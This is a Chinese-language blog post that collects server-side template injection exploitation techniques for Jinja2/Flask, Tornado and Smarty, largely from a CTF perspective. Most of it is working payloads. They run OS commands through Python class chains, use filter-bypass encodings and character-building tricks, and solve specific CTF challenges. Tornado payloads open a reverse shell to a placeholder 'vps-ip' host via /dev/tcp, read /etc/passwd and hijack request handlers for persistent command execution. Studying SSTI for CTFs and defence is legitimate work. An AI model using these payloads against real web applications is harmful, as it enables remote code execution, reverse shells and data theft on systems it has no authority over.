SSTI注入利用姿势合集

16 分钟

前言

曾经多多少少有看过一点SSTI注入,虽然有很多场比赛都栽过在这个题的手里,但是一直都没有重视他,导致这次比赛又再次栽在了这道题上面。既然如此,那就系统的去总结和理解它的方式和一些绕过姿势,收藏一些trick和学着去造一些trick。

SSTI模板注入原理?

SSTI是服务端模板注入漏洞,了解过Python的一些Web开发知识,其中的Flask,Django这些MVC框架时,用户输入的变量被接收后通过Controller处理,最后通过渲染返回给了View即HTML页面,而模板引擎处理一些变量时,未经过任何的处理即被编译执行渲染,导致了一些代码执行,信息泄露等。比如使用render_template渲染函数时,未经过处理就对用户输入的变量做了解析变换。

关于Python的类知识

  1. __class__主要用于查看变量所属的类,像一些常用的字符类,字典,元组,列表等。

    s = [1, 2, 3]
    print(s.__class__)
    s = 'abc'
    print(s.__class__)
    s = {'Aiwin': 1}
    print(s.__class__)
    s = ({'Aiwin': 1}, [1, 2, 3])
    print(s.__class__)
    
    输出:
    <class 'list'>
    <class 'str'>
    <class 'dict'>
    <class 'tuple'>
  1. __bases__查看类所属的基本类,更多的一般是Object对象类,返回元组。
s = [1, 2, 3]
print(s.__class__.__bases__)
s = 'abc'
print(s.__class__.__mro__) #显示类和基类
s = {'Aiwin': 1}
print(type(s.__class__.__bases__))
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__.__bases__[0])




输出:
(<class 'object'>,)
(<class 'str'>, <class 'object'>)
<class 'tuple'>
<class 'object'>

输出的是元组,可以使用[number]来获取第几个类,__mro__类可显示类和基类。
  1. __subclasses__用于查看当前类的子类,也可以通过[number]查看指定的值,返回的是列表。
s = ({'Aiwin': 1}, [1, 2, 3])
print(type(s.__class__.__bases__[0].__subclasses__()))
k=s.__class__.__bases__[0].__subclasses__()

for i in k:
    print(i)


输出:
<class 'list'>
-----------------
<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
<class 'range'>
<class 'dict'>
<class 'dict_keys'>
<class 'dict_values'>
<class 'dict_items'>
<class 'dict_reversekeyiterator'>
<class 'dict_reversevalueiterator'>
<class 'dict_reverseitemiterator'>
<class 'odict_iterator'>
<class 'set'>
<class 'str'>
<class 'slice'>
<class 'staticmethod'>
<class 'complex'>
<class 'float'>
<class 'frozenset'>
<class 'property'>
<class 'managedbuffer'>
<class 'memoryview'>
<class 'tuple'>
<class 'enumerate'>
<class 'reversed'>
<class 'stderrprinter'>
<class 'code'>
<class 'frame'>
<class 'builtin_function_or_method'>
<class 'method'>
<class 'function'>
<class 'mappingproxy'>
<class 'generator'>
<class 'getset_descriptor'>
<class 'wrapper_descriptor'>
<class 'method-wrapper'>
<class 'ellipsis'>
<class 'member_descriptor'>
<class 'types.SimpleNamespace'>
<class 'PyCapsule'>
<class 'longrange_iterator'>
<class 'cell'>
<class 'instancemethod'>
<class 'classmethod_descriptor'>
<class 'method_descriptor'>
<class 'callable_iterator'>
<class 'iterator'>
<class 'pickle.PickleBuffer'>
<class 'coroutine'>
<class 'coroutine_wrapper'>
<class 'InterpreterID'>
<class 'EncodingMap'>
<class 'fieldnameiterator'>
<class 'formatteriterator'>
<class 'BaseException'>
<class 'hamt'>
<class 'hamt_array_node'>
<class 'hamt_bitmap_node'>
<class 'hamt_collision_node'>
<class 'keys'>
<class 'values'>
<class 'items'>
<class 'Context'>
<class 'ContextVar'>
<class 'Token'>
<class 'Token.MISSING'>
<class 'moduledef'>
<class 'module'>
<class 'filter'>
<class 'map'>
<class 'zip'>
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
<class '_frozen_importlib.BuiltinImporter'>
<class 'classmethod'>
<class '_frozen_importlib.FrozenImporter'>
<class '_frozen_importlib._ImportLockContext'>
<class '_thread._localdummy'>
<class '_thread._local'>
<class '_thread.lock'>
<class '_thread.RLock'>
<class '_io._IOBase'>
<class '_io._BytesIOBuffer'>
<class '_io.IncrementalNewlineDecoder'>
<class 'nt.ScandirIterator'>
<class 'nt.DirEntry'>
<class 'PyHKEY'>
<class '_frozen_importlib_external.WindowsRegistryFinder'>
<class '_frozen_importlib_external._LoaderBasics'>
<class '_frozen_importlib_external.FileLoader'>
<class '_frozen_importlib_external._NamespacePath'>
<class '_frozen_importlib_external._NamespaceLoader'>
<class '_frozen_importlib_external.PathFinder'>
<class '_frozen_importlib_external.FileFinder'>
<class 'zipimport.zipimporter'>
<class 'zipimport._ZipImportResourceReader'>
<class 'codecs.Codec'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<class 'codecs.StreamReaderWriter'>
<class 'codecs.StreamRecoder'>
<class '_abc._abc_data'>
<class 'abc.ABC'>
<class 'dict_itemiterator'>
<class 'collections.abc.Hashable'>
<class 'collections.abc.Awaitable'>
<class 'types.GenericAlias'>
<class 'collections.abc.AsyncIterable'>
<class 'async_generator'>
<class 'collections.abc.Iterable'>
<class 'bytes_iterator'>
<class 'bytearray_iterator'>
<class 'dict_keyiterator'>
<class 'dict_valueiterator'>
<class 'list_iterator'>
<class 'list_reverseiterator'>
<class 'range_iterator'>
<class 'set_iterator'>
<class 'str_iterator'>
<class 'tuple_iterator'>
<class 'collections.abc.Sized'>
<class 'collections.abc.Container'>
<class 'collections.abc.Callable'>
<class 'os._wrap_close'>
<class 'os._AddedDllDirectory'>
<class '_sitebuiltins.Quitter'>
<class '_sitebuiltins._Printer'>
<class '_sitebuiltins._Helper'>
<class 'MultibyteCodec'>
<class 'MultibyteIncrementalEncoder'>
<class 'MultibyteIncrementalDecoder'>
<class 'MultibyteStreamReader'>
<class 'MultibyteStreamWriter'>
<class 'itertools.accumulate'>
<class 'itertools.combinations'>
<class 'itertools.combinations_with_replacement'>
<class 'itertools.cycle'>
<class 'itertools.dropwhile'>
<class 'itertools.takewhile'>
<class 'itertools.islice'>
<class 'itertools.starmap'>
<class 'itertools.chain'>
<class 'itertools.compress'>
<class 'itertools.filterfalse'>
<class 'itertools.count'>
<class 'itertools.zip_longest'>
<class 'itertools.permutations'>
<class 'itertools.product'>
<class 'itertools.repeat'>
<class 'itertools.groupby'>
<class 'itertools._grouper'>
<class 'itertools._tee'>
<class 'itertools._tee_dataobject'>
<class 'operator.itemgetter'>
<class 'operator.attrgetter'>
<class 'operator.methodcaller'>
<class 'reprlib.Repr'>
<class 'collections.deque'>
<class '_collections._deque_iterator'>
<class '_collections._deque_reverse_iterator'>
<class '_collections._tuplegetter'>
<class 'collections._Link'>
<class 'types.DynamicClassAttribute'>
<class 'types._GeneratorWrapper'>
<class 'functools.partial'>
<class 'functools._lru_cache_wrapper'>
<class 'functools.partialmethod'>
<class 'functools.singledispatchmethod'>
<class 'functools.cached_property'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'contextlib.ContextDecorator'>
<class 'contextlib._GeneratorContextManagerBase'>
<class 'contextlib._BaseExitStack'>
<class 'enum.auto'>
<enum 'Enum'>
<class 're.Pattern'>
<class 're.Match'>
<class '_sre.SRE_Scanner'>
<class 'sre_parse.State'>
<class 'sre_parse.SubPattern'>
<class 'sre_parse.Tokenizer'>
<class 're.Scanner'>
<class 'typing._Final'>
<class 'typing._Immutable'>
<class 'typing.Generic'>
<class 'typing._TypingEmpty'>
<class 'typing._TypingEllipsis'>
<class 'typing.Annotated'>
<class 'typing.NamedTuple'>
<class 'typing.TypedDict'>
<class 'typing.io'>
<class 'typing.re'>
<class 'importlib.abc.Finder'>
<class 'importlib.abc.Loader'>
<class 'importlib.abc.ResourceReader'>
得到object类,获取特定的子类,从而通过子类调用里面的方法达到命令执行的效果。比如可以调用os.popen()等方法。
  1. __dict__返回数据类型的属性和方法,要注意的是部分数据类型不存在__dict__方法,会报错,通过它可以进行拼接绕过某些过滤。

    import os
    
    os.__dict__['s'+'ystem']('whoami')
  1. __init__用于初始化类,为了得到function或者method方法

    class Person(object):
        def __init__(self, name):
            self.name = name
    print(Person.__init__)
    
    #<function Person.__init__ at 0x0000021058FF0280>
  1. __globals__以字典的类型返回当前位置的全部模块,配合__init__使用,主要是为了获取builtins方法,如果这个关键字被过滤了,可以使用__getattribute__

    class Person(object):
        def __init__(self, name):
            self.name = name
    print(Person.__init__.__globals__)
    print(Person.__init__.__getattribute__('__global'+'s__'))
    
  2. \__builtins__是一个内建模块(又可以叫做内奸命名空间),通过它可以直接不使用import就可以调用很多函数,在SSTI注入中是一把好手,里面有很多好东西。

    __builtins__.__dict__['__import__']('os').system('whoami')

构造链的思路

通过以上的python的类的知识,可以看出构造链的思路大概可以分成两种,一种是不断的通过获取内置类获取对应的类从而获取到一些能够进行命令执行如os、subprocess的模块,另一种是获取builtins通过内建函数直接调用进行命令执行。

  1. 使用__class__来获取内置类所对应的类,可以使用strdicttuplelist等来获取。

    也可以看源代码的flask的内置类,例如session,request,config,self等

    >>> ''.__class__
    <class 'str'>
    >>> [].__class__
    <class 'list'>
    >>> ().__class__
    <class 'tuple'>
    >>> {}.__class__
    <class 'dict'>
    >>> "".__class__
    <class 'str'>
  2. 获取到上一层类的object基类

    ''.__class__.__bases__[0]  #__bases__字符类的基类获取到的是一个元组,__base__获取到是一个类
    ''.__class__.__mro__[1]
    [].__class__.__base__
    [].__class__.__mro__[1]
  3. 通过__subclasses__()拿到所有的子类列表,然后从子类列表中选择能够使用的类。

    ''.__class__.__bases__[0].__subclasses__()
    [].__class__.__bases__.__subclasses__()
  4. 从子类列表中寻找可以getshell的类,可以遍历所有的子类,寻找对应类中的方法来确认,如要寻找popen。

    search = 'popen'
    num  = -1
    for i in ().__class__.__base__.__subclasses__():
      num += 1
      try:
        if search in i.__init__.__globals__.keys():
          print(num, i)
      except:
        pass
    
    #输出:
    #134 <class 'os._wrap_close'>
    #135 <class 'os._AddedDllDirectory'>
    

    因此可以完成整条链的调用

    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())
    
    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())
    
    print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))
    
    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['popen']('whoami').read())
    
    print([].__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read())
    
    print([].__class__.__bases__[0].__subclasses__()[134].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()"))
    
    print("".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__import__']('os').popen('whoami').read())
    
    '''包含__import__方法的类
    80 <class '_frozen_importlib._ModuleLock'>
    81 <class '_frozen_importlib._DummyModuleLock'>
    82 <class '_frozen_importlib._ModuleLockManager'>
    83 <class '_frozen_importlib.ModuleSpec'>
    '''
    
    

Jinjia2

jinjia2是Flask框架中一个流行的模板引擎,使得Web系统能够将特定的数据源组合渲染到页面中,呈现动态页面的效果,同样,也是CTF中的常客了,以下是jinjia2的使用文档。

Jinjia2使用文档

以下是一些jinjia2中内置的函数变量,可用于制造SSTI的链子。

获取配置信息

jinjia2可以通过{{config}}的方式来查询配置信息,它的基础类是可以是很多,主要看config的设置环境如属于jinja2.runtime.Context,如果环境中未定义config则会属于jinja2.runtime.undefined,通过这个类我们可以快速从它的globals变量中找到os__import__等方法,从而快速达到命令执行。

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} #注意这里的globals中不一定存在os,要视具体情况定
{{config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}} #注意config直接__globals__为空

lipsum

通过是jinjia2模板引擎中用于占位文本生成器,用于在模板中生成随机的演示文本,通过它的全局类也能够获取到大量能够用于命令执行的函数。

file

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}

request

从意思上了解,就是flask中代表当前请求的request对象,通过这个请求对象可以查询配置信息,构造出SSTI所需的类,还可以构造出SSTI所需的一些符号,详细在下面绕过的时候说。

{{request.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}}

url_for

url_for会根据传入的路由器函数名,返回该路由对应的URL

{{url_for.__globals__['current_app'].config}} #获取配置信息
{{url_for.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}

get_flashed_messages

get_flashed_messages 是一个用于获取闪存消息的函数。闪存消息是一种特殊类型的消息,用于在请求之间传递信息。它通常用于在重定向或页面刷新后向用户显示一次性的提示或通知

{{get_flashed_messages.__globals__['current_app'].config}} #查看配置信息
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}

g对象

在Flask框架中,g对象是一个上下文全局变量,它是一个在视图函数之间共享数据的地方。它可用于存储在同一请求周期内的数据,比如数据库连接、用户信息等。在每个请求中,g对象在视图函数之间被共享,但是在不同的请求之间是不共享的。通过g对象同样也可以寻找了builtins达到getshell的效果。这里需要注意的是g对象有时候会报undefined的错误,如在以下两种不同代码使用不同的模板渲染返回中会存在不一样的情况。

     name = request.args.get('name', 'CTFer')#在这种形式的渲染返回中无法使用g变量,会显示undefined
     t = Template("hello " + name)  
     return t.render()

    name = request.args.get('name', 'CTFer')  #这种形式渲染返回g变量是正常的
    template=f"""
        Hello,{name}
    """
    return render_template_string(template)
{{g["pop"].__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

Jinjia2 Bypass

.绕过

  1. .绕过,可以使用attr方法或直接使用[]拼接获取到属性的基础类和各种方法,从而绕过.

file

lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']() #使用[]绕过

{{lipsum|attr('__globals__')|attr('get')('os')|attr('popen')('whoami')|attr('read')()}} #使用attr绕过

{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}}

引号绕过

要绕过引号(包括单引号,双引号)大概有两种思路:

  1. 寻找不需要引号的SSTI注入语句,引号的作用主要是最后在命令执行如导入os和执行对应命令需要使用,还记得request变量,表示请求中的变量,可以直接使用它来代替一些命令。

    {{().__class__.__bases__[0].__subclasses__()[134].__init__.__globals__.__builtins__[request.args.a](request.args.b).popen(request.args.c).read()}}&a=__import__&b=os&c=whoami  
    
    {{lipsum.__globals__.__builtins__.__import__(request.args.a)[request.args.b](request.args.c).read()}}&a=os&b=popen&c=whoami&d=read
    
    #以下的request变量的参数都是可以使用的
    #request.args.name
    #request.values.name
    #request.cookies.name
    #request.headers.name
    #request.form.name
    
  1. 通过一些方法制造出引号这个字符,比如chr()这个函数,通过list将类名分割得到引号,制造%通过urldecode制造任意字符等,其实引号能造出的方式挺多的,比如以下:

    {%set chr=g|lower|list|batch(13)|list|first|last%}{{chr}}#直接造出'
    
    {% set chr=lipsum|lower|list|first|urlencode|first %} #造出%
    {%set c=dict(c=0).keys()|reverse|first%}  #造出c
    {%set url=dict(a=chr,c=c).values()|join %} #造出%c
    {%set url2=url|format(39)%}{{url2}} #通过%c|format的形式即可造出任意字符
    #通过造chr函数
    {%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}
    
    
    

实在不知道chr在哪里,可以跑一下看看,其实很多类都有。

在这里插入图片描述

说这么多,奉上两个payload吧

{%set chr=().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{lipsum.__globals__.__builtins__.__import__(chr(111)~chr(115))[chr(112)~chr(111)~chr(112)~chr(101)~chr(110)](chr(119)~chr(104)~chr(111)~chr(97)~chr(109)~chr(105)).read()}}  #通过chr造字符


{% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(39)%}{%set o=url|format(111)%}  {%set s=url|format(115)%} {%set p=url|format(112)%} {%set e=url|format(101)%} {%set n=url|format(110)%} {%set w=url|format(119)%} {%set h=url|format(104)%} {%set a=url|format(97)%} {%set m=url|format(109)%} {%set i=url|format(105)%}
{%set os=o~s|string%}{%set popen=p~o~p~e~n|string%}{% set whoami=w~h~o~a~m~i %}
{%print(lipsum.__globals__.__builtins__.__import__(os)[popen](whoami).read())%}  #通过%c的形式造任何字符,注意这里根本不需要造引号,因为flask在处理的时候会自动加上引号当成字符处理。

_绕过

_绕过的思路大同小异,一种是通过编码绕过,一种是造出_,毕竟前面我们已经能造出任何字符了,当然也可以通过其它形式来造出_ ,因为下划线相对于引号还是出现的比较频繁的,还有一种也是request的形式,通过request得到_

  1. 编码绕过
# 转十六进制
def tohex(string):
    for i in string:
        print("\\x{:0x}".format(ord(i)), end="")
    print()


# 转八进制
def tooct(string):
    for i in string:
        print("\\{:0o}".format(ord(i)), end="")
    print()


# 转unicode
def touni(string):
    for i in string:
        print("\\u00{:0x}".format(ord(i)), end="")
    print()


string1 = "" #要编码的字符串
tohex(string1)
tooct(string1)
touni(string1)
{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[134]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['popen']('whoami').read()}} #十六进制

{{""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]["\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f"]["\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f"]()[134]["\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f"]["\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"]['popen']('whoami').read()}} #unicode编码

{{""["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[134]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]['popen']('whoami').read()}} #八进制

  1. request绕过

    {{""[request.args.a][request.args.b][request.args.c]()[134][request.args.d][request.args.e]['popen']('whoami').read()}}&a=__class__&b=__base__&c=__subclasses__&d=__init__&e=__globals__
  2. _进行绕过

    {% set chr=lipsum|lower|list|first|urlencode|first %} {%set c=dict(c=0).keys()|reverse|first%}{%set url=dict(a=chr,c=c).values()|join %}{%set url2=url|format(95)%}{%set class=url2*2~'class'~url2*2%}
    {%set base=url2*2~'base'~url2*2%}{%set sub=url2*2~'subclasses'~url2*2%}{%set init=url2*2~'init'~url2*2%}{%set glo=url2*2~'globals'~url2*2%}{{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}
    
    
    {% set chr=lipsum|string|list|batch(19)|list|first|last%}{%set class=[chr*2,'class',chr*2]|join%}{%set sub=[chr*2,'subclasses',chr*2]|join%}{%set base=[chr*2,'base',chr*2]|join%}{%set init=[chr*2,'init',chr*2]|join%}{%set glo=[chr*2,'globals',chr*2]|join%}
    {{""[class][base][sub]()[134][init][glo]['popen']('whoami').read()}}

init过滤

__init__是用于初始化的方法,可以使用其它方法代替,如__enter____exit__

{{"".__class__.__base__.__subclasses__()[134].__enter__.__globals__['popen']('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[134].__exit__.__globals__['popen']('whoami').read()}}

[ ]被过滤

因为[]并不是必须的,因为过滤了[]可以往不用[]那边想,因为.__的形式就不需要使用[],如以下:

{{().__class__.__base__.__subclasses__().pop(134).__init__.__globals__.popen('whoami').read()}} #通过pop来选择类

{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(134).__init__.__globals__.popen('whoami').read()}} #通过getitem选择类
 
{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('whoami')|attr('read')()}} #通过attr来绕过

羊城杯2023[决赛] SSTI

题目如下,过滤的东西其实挺多的,过滤了下划线、花括号、点号、十六进制、八进制,空格等,虽然看上去过滤了很多的东西,但是依旧是可以缺什么造什么把它造出来,过滤了.我们可以使用[]+可以使用~进行连接,下划线可以使用造字符串的形式。

from flask import Flask, request
from jinja2 import Template
import re

app = Flask(__name__)


@app.route("/")
def index():
    name = request.args.get('name', 'CTFer<!--?name=CTFer')
    if not re.findall(
            r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",
            name):
        t = Template("hello " + name)
        return t.render()
    else:
        t = Template("Hacker!!!")
        return t.render()


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

以下是自己造的解题的一些payload:

{%print(""["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[137]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\160\157\160\145\156"]("\143\141\164\40\57\146\154\141\147")["\162\145\141\144"]())%}  #通过八进制直接绕

{%print(((lipsum[(lipsum|escape|batch(22)|list|first|last)*2~"g""lobals"~(lipsum|escape|batch(22)|list|first|last)*2][(lipsum|escape|batch(22)|list|first|last)*2~"builtins"~(lipsum|escape|batch(22)|list|first|last)*2][(lipsum|escape|batch(22)|list|first|last)*2~"import"~(lipsum|escape|batch(22)|list|first|last)*2]("os")["p""open"](("c"~"a"~"t"~((dict|trim|list)[6])~"/fla"~"g")))["read"]()))%}  #通过造下划线和造空格来绕过

2020XCTF 华为专项赛

过滤了~ set or args _ [ request lipsum = chr json g . ' {{ u get等字符,同样可以通过attr+八进制的形式进行绕过。

{%print(a|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\56\57\146\154\141\147\56\164\170\164\47\51\56\162\145\141\144\50\51"))%}

Tornado

官方文档:https://www.osgeo.cn/tornado/

Tornado框架也被称为龙卷风框架,是另一个基于 Python 的开源 Web 框架和异步网络库。它被设计用于构建高性能、可扩展的网络应用程序。Tornado 的核心特性是异步非阻塞的 I/O 操作,利用事件循环来实现高效的并发处理。

当出现与Flask相同的动态渲染方法时,也存在SSTI注入的问题,比如如下代码:

        data = self.get_argument("ssti")    
        with open('1.html', 'w') as f:
                f.write(f"""
                        {data}
                        """)
                f.flush()
            self.render('1.html')

通用手法

Tornado既然是基于Python的一门开发框架,所以基于Python语言的SSTI注入都是适用的,比如

{{ __import__("os").system("whoami") }}
{% raw __import__("os").system("whoami") %}
{{eval('__import__("os").popen("ls").read()')}}
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#等等

tornado.template的特性

在Tornado使用template方法读取模板进行渲染时,会将模板转化为代码的形式,然后将模板中的代码执行后最后进行渲染,在执行Python代码的过程中,会存在接收变量、存储临时变量等的函数,比如说_tt_execute()方法中的代码的:

def _tt_execute(): 
    _tt_buffer = []
    _tt_append = _tt_buffer.append 
    _tt_tmp = print(__loader__.get_source(1)) 
    if isinstance(_tt_tmp, _tt_string_types): _tt_tmp = _tt_utf8(_tt_tmp) 
    else: _tt_tmp = _tt_utf8(str(_tt_tmp)) 
    _tt_tmp = _tt_utf8(xhtml_escape(_tt_tmp)) 
    _tt_append(_tt_tmp)
    return _tt_utf8('').join(_tt_buffer) 

这段代码可以将模板中的变量和表达式转化为Python代码并执行,而在代码中可以发现_tt_utf8(_tt_tmp) 类似的拼接形式,加入我们可以控制两个变量,就存在命令执行的效果,_tt_tmp是用于存储模板中的表达式的,因此我们可以通过set方法将_tt_utf8设置为命令执行的函数,后传入命令执行的表达式进行shell。

{% set _tt_utf8 = __import__("os").system %}{{"whoami"}}

{% raw "__import__('os').popen('ls').read()"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}

{% set _tt_utf8 =eval %}{% raw '__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")' %}

Request特性

这个request特性与flask的特性是一样的,用于存储请求的各种方法、变量等,可以使用它的特性绕过不少的东西。

request.method: 获取 HTTP 请求的方法,如 GET、POST、PUT、DELETE 等。
request.uri: 获取完整的请求 URI,包括路径、查询参数和锚点。
request.path: 获取请求的路径部分,不包括查询参数和锚点。
request.query: 获取请求的查询参数部分,以字典形式返回。
request.body: 获取请求的主体内容,通常用于 POST、PUT 请求。
request.headers: 获取请求的 HTTP 头部,以字典形式返回。
request.cookies: 获取请求中的所有 Cookie,以字典形式返回。

比如说以上的过滤了() __等,可以通过request接收绕过,当然同样也是接受进制绕过的:

{% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")

{% raw "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29\x2e\x72\x65\x61\x64\x28\x29"%0a    _tt_utf8 = eval%}{{'1'%0a    _tt_utf8 = str}}

{%raw request.connection.write(("HTTP/1.1 200 OK\r\nCMD: "+__import__("os").popen("id").read()).encode()+b"hacked: ")%}'#构造了一个 HTTP 响应头部,其中包含了一个 CMD 字段,该字段的值为执行命令的结果。最后,将构造好的响应头部字符串通过 request.connection.write() 方法写入 HTTP 响应中。

Handler

在 Tornado Web 框架中,Handler 是负责处理客户端请求的组件。Handler 接收来自客户端的请求,执行相应的操作,并返回响应给客户端

可以通过handler来查看Tornado中的许多敏感信息,

handler.application 整个Tornado实例
handler.application.add_handlers  增加服务处理逻辑
handler.application.settting 查看实例的配置
handler.prepare():在准备处理请求时执行的函数

## 等等

Tornado遇到的毕竟毕竟少,附上Tornado多种payload。

1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}

2、利用tornado特有的对象或者方法
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval']("__import__('os').popen('ls').read()")}}


3.request绕过
{{eval(handler.get_argument(request.method))}}?GET=__import__("os").popen("ls").read()

4.利用{% autoescape %}
{% autoescape __import__("os").system %}{{"id"}}
{% autoescape __import__("os").system("id") %}{{0}}
{% autoescape (lambda x: __import__("os").popen("id").read()) %}{{0}}
{% autoescape (lambda: __import__("os").popen("id").read())()) 
{% autoescape (lambda: __import__("os").popen("id").read())())\n ( %}{{0}}
                                                                  
5. 利用while
{% while __import__("os").system("id") %}{%end%}
{% while 1: return __import__("os").popen("id").read() #\n while 1\n%}{%end%}
 
6. 通过handler
{%raw handler.prepare = lambda x: x.write(str(eval(x.get_query_argument("cmd", "id"))))%}
 
{%raw handler.__class__._handle_request_exception=lambda x,y:[x.write((str(eval(x.get_query_argument("cmd","id")))).encode()),x.finish()][0]%} #覆盖异常处理
 
 
{{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
 
 
 

Tornado参考文章:https://www.tr0y.wang/2022/08/05/SecMap-SSTI-tornado

Smarty

a{*comment*}b #输出ab 确定smarty
{$smarty.version}  #获取smarty的版本号
{php}phpinfo();{/php}  #执行相应的php代码
{literal}alert('xss');{/literal}
{if phpinfo()}{/if}
~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全CTF
文章标题:SSTI注入利用姿势合集
文章链接:https://aiwin.fun/index.php/archives/2324/
最后编辑:2024 年 1 月 4 日 16:57 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 5 + 5 =
快来做第一个评论的人吧~